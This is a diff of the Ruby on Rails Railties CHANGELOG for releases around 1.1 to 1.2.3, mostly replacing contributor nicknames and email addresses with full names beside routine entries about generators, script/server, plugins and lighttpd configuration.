+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
 
 * Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
 
@@ -486,31 +587,31 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
 
-* Revert environment changes for autoload_paths. [Koz]
+* Revert environment changes for autoload_paths. [Michael Koziarski]
 
 * Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
 
-* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Koz]
+* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
 
-* Added option to script/process/spawner of specifying the binding address #5133 [zsombor]
+* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
 
 * Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
 
-* Update scaffold to use new form_tag block functionality.  Closes #6480. [BobSilva]
+* Update scaffold to use new form_tag block functionality.  Closes #6480. [Bob Silva]
 
 * Plugin generator: check for class collisions.  #4833 [vinbarnes@gmail.com]
 
 * Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
 
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Koz]
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
 
-* Added config.plugins to control which plugins are loaded #6269 [skaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
 
     config.plugins = %w[ routing_navigator simply_helpful ]
 
 * Clean up html on included error pages. [Tim Lucas]
 
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [DHH]
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
 
 * Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
 
@@ -518,17 +619,17 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
 
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [BobSilva]
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
 
 * Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
 
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [DHH]
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
 
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [DHH]. Examples:
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
 
     ./script/generate model post title:string created_on:date body:text published:boolean
 
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [DHH]
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
 
 * script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
     #!/usr/bin/env /path/to/my/app/script/runner
@@ -537,7 +638,7 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Look for rake tasks in plugin subdirs.  #6259 [obrie]
 
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [DHH]
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
 
 * Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
 
@@ -549,7 +650,7 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * script/server creates the tmp/pids directory.  #6204 [jonathan]
 
-* Fix script/console --sandbox for internal transactions changes.  #5738 [chris@octopod.info, charles.gerungan@gmail.com]
+* Fix script/console --sandbox for internal transactions changes.  #5738 [Chris McGrath, charles.gerungan@gmail.com]
 
 * Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
 documented in initializer.rb, the workaround is:
@@ -562,7 +663,7 @@ References #6031. [Nicholas Seckar]
 
 * Update to Prototype 1.5.0_rc1 [sam]
 
-* Formally Deprecate the old rake tasks. [Koz]
+* Formally Deprecate the old rake tasks. [Michael Koziarski]
 
 * Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
 
@@ -595,7 +696,7 @@ References #6031. [Nicholas Seckar]
 
 * Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
 
-* Clarify usage of script/plugin source. Closes #5344. [james.adam@gmail.com]
+* Clarify usage of script/plugin source. Closes #5344. [James Adam]
 
 * Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
 
@@ -603,7 +704,7 @@ References #6031. [Nicholas Seckar]
 
 * Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
 
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [shugo@ruby-lang.org]
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [Shugo Maeda]
 
 * Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
 
@@ -617,7 +718,7 @@ References #6031. [Nicholas Seckar]
 
 * Ensure the logger is initialized. #5629 [mike@clarkware.com]
 
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [DHH]. Examples:
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
 
     spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
     spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
@@ -660,15 +761,15 @@ References #6031. [Nicholas Seckar]
 
 * Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
 
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [nicksieger@gmail.com]
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
 
 * Mongrel support for script/server.  #5475 [jeremydurham@gmail.com]
 
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick]
+* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
 
 * Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
 
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick]
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick Olson]
 
 * Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
 
@@ -678,11 +779,11 @@ References #6031. [Nicholas Seckar]
 
 * Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
 
-* Added lib/ to the directories that will get application docs generated [DHH]
+* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
 
-* Add observer generator. Closes #5167. [francois.beausoleil@gmail.com]
+* Add observer generator. Closes #5167. [François Beausoleil]
 
-* Session migration generator obeys pluralize_table_names. #5145 [james.adam@gmail.com]
+* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
 
 * rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
 
@@ -690,17 +791,17 @@ References #6031. [Nicholas Seckar]
 
 * The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
 
-* Distinguish the spawners for different processes [DHH]
+* Distinguish the spawners for different processes [David Heinemeier Hansson]
 
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [DHH]
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
 
 * Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
 
 * Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
 
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [DHH]
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
 
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [DHH]
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
 
 
 *1.2.3* (March 12th, 2007)
@@ -709,14 +810,14 @@ References #6031. [Nicholas Seckar]
 
 * Windows: include MinGW in RUBY_PLATFORM check.  #2982 [okkez000@gmail.com, Kaspar Schiess]
 
-* Stop swallowing errors during rake test [Koz]
+* Stop swallowing errors during rake test [Michael Koziarski]
 
 
 *1.2.2* (February 5th, 2007)
 
 * Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
 
-* Require the dispatcher for Rails::Configuration#to_prepare.  [Rick]
+* Require the dispatcher for Rails::Configuration#to_prepare.  [Rick Olson]
 
 
 *1.2.1* (January 16th, 2007)
@@ -732,7 +833,7 @@ References #6031. [Nicholas Seckar]
 
 * Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
 
-* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick]
+* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick Olson]
   If you really want your plugins to reload, add this to the very top of init.rb:
   
     Dependencies.load_once_paths.delete(lib_path)
@@ -745,23 +846,23 @@ References #6031. [Nicholas Seckar]
 
 * Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
 
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [DHH]
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
 
-* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [DHH]
+* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [David Heinemeier Hansson]
 
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [DHH]
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
 
 * Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
 
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [DHH]
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
 
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [DHH]
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
 
 * Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
 
-* Made script/server work with -e and -d when using Mongrel [DHH]
+* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
 
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Luetke]
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
 
 * Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
 
@@ -781,29 +882,29 @@ References #6031. [Nicholas Seckar]
 
 * resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
 
-* Revert environment changes for autoload_paths. [Koz]
+* Revert environment changes for autoload_paths. [Michael Koziarski]
 
-* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Koz]
+* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
 
-* Added option to script/process/spawner of specifying the binding address #5133 [zsombor]
+* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
 
 * Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
 
-* Update scaffold to use new form_tag block functionality.  Closes #6480. [BobSilva]
+* Update scaffold to use new form_tag block functionality.  Closes #6480. [Bob Silva]
 
 * Plugin generator: check for class collisions.  #4833 [vinbarnes@gmail.com]
 
 * Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
 
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Koz]
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
 
-* Added config.plugins to control which plugins are loaded #6269 [skaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
 
     config.plugins = %w[ routing_navigator simply_helpful ]
 
 * Clean up html on included error pages. [Tim Lucas]
 
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [DHH]
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
 
 * Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
 
@@ -811,17 +912,17 @@ References #6031. [Nicholas Seckar]
 
 * Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
 
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [BobSilva]
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
 
 * Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
 
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [DHH]
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
 
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [DHH]. Examples:
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
 
     ./script/generate model post title:string created_on:date body:text published:boolean
 
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [DHH]
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
 
 * script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
     #!/usr/bin/env /path/to/my/app/script/runner
@@ -830,13 +931,13 @@ References #6031. [Nicholas Seckar]
 
 * Look for rake tasks in plugin subdirs.  #6259 [obrie]
 
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [DHH]
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
 
 * session_migration generator adds an index on updated_at.  #6207 [grg]
 
 * script/server creates the tmp/pids directory.  #6204 [jonathan]
 
-* Fix script/console --sandbox for internal transactions changes.  #5738 [chris@octopod.info, charles.gerungan@gmail.com]
+* Fix script/console --sandbox for internal transactions changes.  #5738 [Chris McGrath, charles.gerungan@gmail.com]
 
 * Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
 documented in initializer.rb, the workaround is:
@@ -847,7 +948,7 @@ References #6031. [Nicholas Seckar]
 
 * Update to script.aculo.us 1.6.3 [Thomas Fuchs]
 
-* Formally Deprecate the old rake tasks. [Koz]
+* Formally Deprecate the old rake tasks. [Michael Koziarski]
 
 * Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
 
@@ -878,7 +979,7 @@ References #6031. [Nicholas Seckar]
 
 * Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
 
-* Clarify usage of script/plugin source. Closes #5344. [james.adam@gmail.com]
+* Clarify usage of script/plugin source. Closes #5344. [James Adam]
 
 * Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
 
@@ -886,7 +987,7 @@ References #6031. [Nicholas Seckar]
 
 * Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
 
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [shugo@ruby-lang.org]
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [Shugo Maeda]
 
 * Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
 
@@ -900,7 +1001,7 @@ References #6031. [Nicholas Seckar]
 
 * Ensure the logger is initialized. #5629 [mike@clarkware.com]
 
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [DHH]. Examples:
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
 
     spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
     spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
@@ -943,15 +1044,15 @@ References #6031. [Nicholas Seckar]
 
 * Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
 
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [nicksieger@gmail.com]
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
 
 * Mongrel support for script/server.  #5475 [jeremydurham@gmail.com]
 
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick]
+* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
 
 * Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
 
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick]
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick Olson]
 
 * Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
 
@@ -961,11 +1062,11 @@ References #6031. [Nicholas Seckar]
 
 * Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
 
-* Added lib/ to the directories that will get application docs generated [DHH]
+* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
 
-* Add observer generator. Closes #5167. [francois.beausoleil@gmail.com]
+* Add observer generator. Closes #5167. [François Beausoleil]
 
-* Session migration generator obeys pluralize_table_names. #5145 [james.adam@gmail.com]
+* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
 
 * rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
 
@@ -973,17 +1074,17 @@ References #6031. [Nicholas Seckar]
 
 * The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
 
-* Distinguish the spawners for different processes [DHH]
+* Distinguish the spawners for different processes [David Heinemeier Hansson]
 
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [DHH]
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
 
 * Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
 
 * Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
 
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [DHH]
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
 
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [DHH]
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
 
 
 *1.1.6* (August 10th, 2006)
@@ -1018,9 +1119,9 @@ References #6031. [Nicholas Seckar]
 
 * Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
 
-* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [DHH]
+* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [David Heinemeier Hansson]
 
-* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [DHH]
+* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [David Heinemeier Hansson]
 
 
 *1.1.1* (April 6th, 2006)
@@ -1031,7 +1132,7 @@ References #6031. [Nicholas Seckar]
 
 * Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum@gmail.com]
 
-* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [DHH]
+* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [David Heinemeier Hansson]
 
 * Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz@augustz.com]
 
@@ -1039,9 +1140,9 @@ References #6031. [Nicholas Seckar]
 
 * Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar]
 
-* Fixed that spawner should daemonize if running in repeat mode [DHH]
+* Fixed that spawner should daemonize if running in repeat mode [David Heinemeier Hansson]
 
-* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [DHH]
+* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [David Heinemeier Hansson]
 
 * Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
 
@@ -1051,13 +1152,13 @@ References #6031. [Nicholas Seckar]
 
 * Fixed rake rails:freeze:gems #4518 [benji@silverinsanity.com]
 
-* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [DHH]
+* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [David Heinemeier Hansson]
 
 * Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar]
 
-* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [DHH]
+* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [David Heinemeier Hansson]
 
-* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [DHH]
+* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [David Heinemeier Hansson]
 
 * Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar]
 
@@ -1116,19 +1217,19 @@ References #6031. [Nicholas Seckar]
 
 * Added tracking of database and framework versions in script/about #4088 [charles.gerungan@gmail.com/Rick Olson]
 
-* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [DHH]
+* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [David Heinemeier Hansson]
 
-* Added socket cleanup for lighttpd, both before and after [DHH]
+* Added socket cleanup for lighttpd, both before and after [David Heinemeier Hansson]
 
-* Added automatic creation of tmp/ when running script/server [DHH]
+* Added automatic creation of tmp/ when running script/server [David Heinemeier Hansson]
 
-* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [DHH]
+* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [David Heinemeier Hansson]
 
 * Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad@esse.at]
 
-* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [DHH]
+* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [David Heinemeier Hansson]
 
-* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [thijs@fngtps.com]
+* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [Thijs van der Vossen]
 
 * Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy@gmail.com]
 
@@ -1142,9 +1243,9 @@ References #6031. [Nicholas Seckar]
 
 * Add integration test support to app generation and testing [Jamis Buck]
 
-* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [DHH]
+* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [David Heinemeier Hansson]
 
-* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [DHH]
+* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [David Heinemeier Hansson]
 
 * Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror@andreas-s.net]
 
@@ -1155,17 +1256,17 @@ References #6031. [Nicholas Seckar]
 
 * Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson]
 
-* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [DHH]
+* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [David Heinemeier Hansson]
 
-* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [DHH]
+* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [David Heinemeier Hansson]
 
-* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [DHH]
+* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [David Heinemeier Hansson]
 
-* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [DHH] 
+* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [David Heinemeier Hansson] 
 
-* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [DHH]
+* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [David Heinemeier Hansson]
 
-* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [DHH]
+* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [David Heinemeier Hansson]
 
 * Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper]
 
@@ -1173,13 +1274,13 @@ References #6031. [Nicholas Seckar]
 
 * Update script.aculo.us to V1.5.3 [Thomas Fuchs]
 
-* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [DHH]
+* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [David Heinemeier Hansson]
 
-* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [DHH]
+* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [David Heinemeier Hansson]
 
 * Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized.  Useful for things like per-environment configuration of plugins. [Michael Koziarski]
 
-* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [DHH]
+* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [David Heinemeier Hansson]
 
 * Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 [tom@craz8.com]
 
@@ -1197,7 +1298,7 @@ References #6031. [Nicholas Seckar]
 
 * Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier@gmail.com]
 
-* Ignore version mismatch between pg_dump and the database server. #3457 [simon.stapleton@gmail.com]
+* Ignore version mismatch between pg_dump and the database server. #3457 [Simon Stapleton]
 
 * Reap FCGI processes after lighttpd exits. [Sam Stephenson]
 
@@ -1229,11 +1330,11 @@ References #6031. [Nicholas Seckar]
 
 * Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam]
 
-* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [james.adam@gmail.com]
